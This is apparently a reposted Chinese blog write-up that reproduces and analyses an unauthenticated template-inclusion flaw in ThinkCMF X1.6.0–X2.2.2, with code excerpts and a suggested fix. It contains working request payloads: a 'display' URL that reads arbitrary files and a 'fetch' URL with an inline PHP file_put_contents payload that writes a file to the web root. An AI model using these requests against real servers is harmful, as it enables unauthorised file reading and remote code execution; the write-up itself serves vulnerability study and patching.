ThinkCMF框架上的任意内容包含漏洞复现+分析

漏洞名称: ThinkCMF框架上的任意内容包含漏洞

漏洞危害: 远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码

漏洞影响:

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

复现过程:

url/?a=display&templateFile=README.md

ThinkCMF框架上的任意内容包含漏洞复现+分析_第1张图片

url?a=fetch&templateFile=public/index&content=<php>file_put_contents('test.php','')</php>

空白页面

url/test.php

ThinkCMF框架上的任意内容包含漏洞复现+分析_第2张图片

漏洞分析:
实际上此漏洞的产生的原因是:
thinkcmf是给予tinkphp再开发的,他有一些thinkphp的特性,例如可以通过g\m\a参数指定分组\控制器\方法,这里可以通过a参数直接调用Portal\IndexController父类(HomebaseController)中的一些权限为public的方法。
而display和fetch函数的修饰符为公有
进入index.php
在这里插入图片描述找到项目路径为application
进入入口分组的控制器类(即:application\Portal\Controller)
IndexController.class.php
ThinkCMF框架上的任意内容包含漏洞复现+分析_第3张图片此类文件里面只有一个display函数,跟进display函数,打开父类HomebaseController
ThinkCMF框架上的任意内容包含漏洞复现+分析_第4张图片漏洞发生在display函数和fetch函数
首先是display函数:

	/**
	 * 加载模板和页面输出 可以返回输出内容
	 * @access public
	 * @param string $templateFile 模板文件名
	 * @param string $charset 模板输出字符集
	 * @param string $contentType 输出类型
	 * @param string $content 模板输出内容
	 * @return mixed
	 */
	public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
		parent::display($this->parseTemplate($templateFile), $charset, $contentType,$content,$prefix);
	}

此函数的作用是显示模块,参数可选
这里没有对传入的文件名做任何过滤,已经存在了文件包含
直接可用index.php?a=display&templateFile=文件名
就已经能读任意文件了
fetch函数:

	/**
	 * 获取输出页面内容
	 * 调用内置的模板引擎fetch方法,
	 * @access protected
	 * @param string $templateFile 指定要调用的模板文件
	 * 默认为空 由系统自动定位模板文件
	 * @param string $content 模板输出内容
	 * @param string $prefix 模板缓存前缀*
	 * @return string
	 */
	public function fetch($templateFile='',$content='',$prefix=''){
	    $templateFile = empty($content)?$this->parseTemplate($templateFile):'';
		return parent::fetch($templateFile,$content,$prefix);
	}

由于thinkcmf基于thinkphp,而thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入(对于模板注入的理解可参见:https://www.jianshu.com/p/aef2ae0498df)
并且fetch函数参数也是可选的,这里注意templateFile参数不可选,不然会返回空,若templateFile=public/index,(对于public/index,之后再补充)则我们传入的文件在网站根目录
所以我们可以直接构造:

?a=fetch&templateFile=public/index&content= file_put_contents("shell.php","");?>

执行完成之后是一片空白,直接访问url/shell.php便能得到php配置信息

修复方案:
将漏洞发生的两个函数display和fetch两个函数修饰符改为protect

你可能感兴趣的:(漏洞复现)